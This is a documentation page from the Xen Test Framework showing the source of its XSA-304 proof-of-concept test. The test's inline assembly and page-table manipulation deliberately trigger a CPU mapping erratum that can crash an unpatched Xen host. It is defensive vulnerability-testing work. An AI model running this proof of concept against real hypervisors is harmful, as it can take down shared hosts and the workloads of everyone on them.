Xen Test Framework
main.c
Go to the documentation of this file.
1
21#include <xtf.h>
22
23const char test_title[] = "XSA-304 PoC";
24
25typedef void (stub_t)(intpte_t *l2t, const bool *cond);
26extern stub_t stub_fn;
27
28asm (".align 4096;"
29 ".skip 4096 - (stub_page_boundary - stub_fn);"
30
31 "stub_fn:"
32
33 /*
34 * Overwrite the mapping for 16M linear (currently aliased to 0) as a 2M
35 * identity page. The underlying contents are the same because we
36 * duplicated .text here to start with.
37 */
38 " movq $" STR((16 << 20) | PF_SYM(PSE, AD, RW, P)) ", 8*8(%rdi);"
39
40 /*
41 * Shoot down the 4k mapping (in the high alias) of the *next* page,
42 * leaving the 4k mapping of this page intact.
43 */
44 " invlpg stub_page_boundary + (16 << 20);"
45
46 /*
47 * %rsi points at `bool cond = true` on the stack, so this jump won't
48 * actually be taken, but we want speculation to follow it.
49 *
50 * Work around https://github.com/llvm/llvm-project/issues/68086
51 * Clang IAS can't cope with `je 1f` so opencode it.
52 */
53 " cmpb $0, (%rsi);"
54 " .byte 0x74, 1f - (. + 1);" // je 1f
55
56 /*
57 * Write into the top of linear address space. Because no A/D bits are
58 * set in the PTEs, this suffers 5 assists, and because the PTEs were
59 * flushed from the cache, it takes ages while doing so.
60 */
61 " movb $0, -1;"
62 "stub_page_boundary:"
63
64 /*
65 * When speculation races ahead to here, there is no mapping because we
66 * shot it out earlier. A pagewalk occurs, and finds the 2M superpage
67 * which we installed.
68 *
69 * As a consequence of installing the 2M mapping, the previous
70 * instruction (which is busy setting A/D bits) has a linear address with
71 * one valid 4k mapping pointing into the real .text location, and one
72 * valid 2M mapping pointing at the aliased .text location.
73 *
74 * ... and the pipeline is busy asserting sanity on tracking state of the
75 * uops each time they come around for another assist...
76 */
77 "1: ret;"
78 );
79
80/* New pagetables */
84
85void test_main(void)
86{
87 unsigned long stride = ROUNDUP(_end - _start, MB(16));
88 bool cond = true;
89
90 if ( stride != MB(16) )
91 return xtf_error("Unexpected stride %lu,%#lx\n", stride, stride);
92
93 /* Create an alias of .text at stride's distance away. */
94 memcpy(_p(_start) + stride, _start, _end - _start);
95 barrier();
96
97 stub_t *stub = _p(_u(stub_fn) + stride);
98
99 /*
100 * This test is racy with a vCPU reschedule, interrupts etc. Retry a
101 * couple of times just in case.
102 */
103 for ( int i = 0; i < 15; ++i )
104 {
105 printk("Try: %u\n", i);
106
107 /*
108 * Map GFN 0 at the top of linear address space, with no A/D bits, and
109 * flushing each PTE from the cache.
110 */
111 pae_l4_identmap[511] = pte_from_virt(nl3t, PF_SYM(RW, P));
112 clflush(&pae_l4_identmap[511]);
113
114 nl3t[511] = pte_from_virt(nl2t, PF_SYM(RW, P));
115 clflush(&nl3t[511]);
116
117 nl2t[511] = pte_from_virt(nl1t, PF_SYM(RW, P));
118 clflush(&nl2t[511]);
119
120 nl1t[511] = pte_from_gfn(0, PF_SYM(RW, P));
121 clflush(&nl1t[511]);
122
123 /* Alias 16M linear to 0, using 0's 4k mappings. */
124 l2_identmap[8] = l2_identmap[0];
125
126 flush_tlb();
127
128 stub(l2_identmap, &cond);
129 }
130
131 xtf_success("Success: Probably not vulnerable to XSA-304\n");
132}
133
134/*
135 * Local variables:
136 * mode: C
137 * c-file-style: "BSD"
138 * c-basic-offset: 4
139 * tab-width: 4
140 * indent-tabs-mode: nil
141 * End:
142 */
static void flush_tlb(void)
Definition: lib.h:407
static void clflush(const void *ptr)
Definition: lib.h:402
char _end[]
Definition: xtf.h:19
char _start[]
#define barrier()
Definition: compiler.h:30
#define __page_aligned_bss
Definition: compiler.h:37
void printk(const char *fmt,...)
Definition: console.c:134
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define ROUNDUP(x, a)
Definition: lib.h:44
#define memcpy(d, s, n)
Definition: libc.h:36
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define MB(num)
Express num in Megabytes.
Definition: numbers.h:26
unsigned long intpte_t
Definition: page.h:152
intpte_t pte_from_gfn(unsigned long gfn, uint64_t flags)
intpte_t pte_from_virt(const void *va, uint64_t flags)
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
Definition: main.c:189
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
void() stub_t(intpte_t *l2t, const bool *cond)
Definition: main.c:25
static intpte_t nl1t[512]
Definition: main.c:83
static intpte_t nl2t[512]
Definition: main.c:82
static intpte_t nl3t[512]
Definition: main.c:81
stub_t stub_fn
intpte_t l2t[512]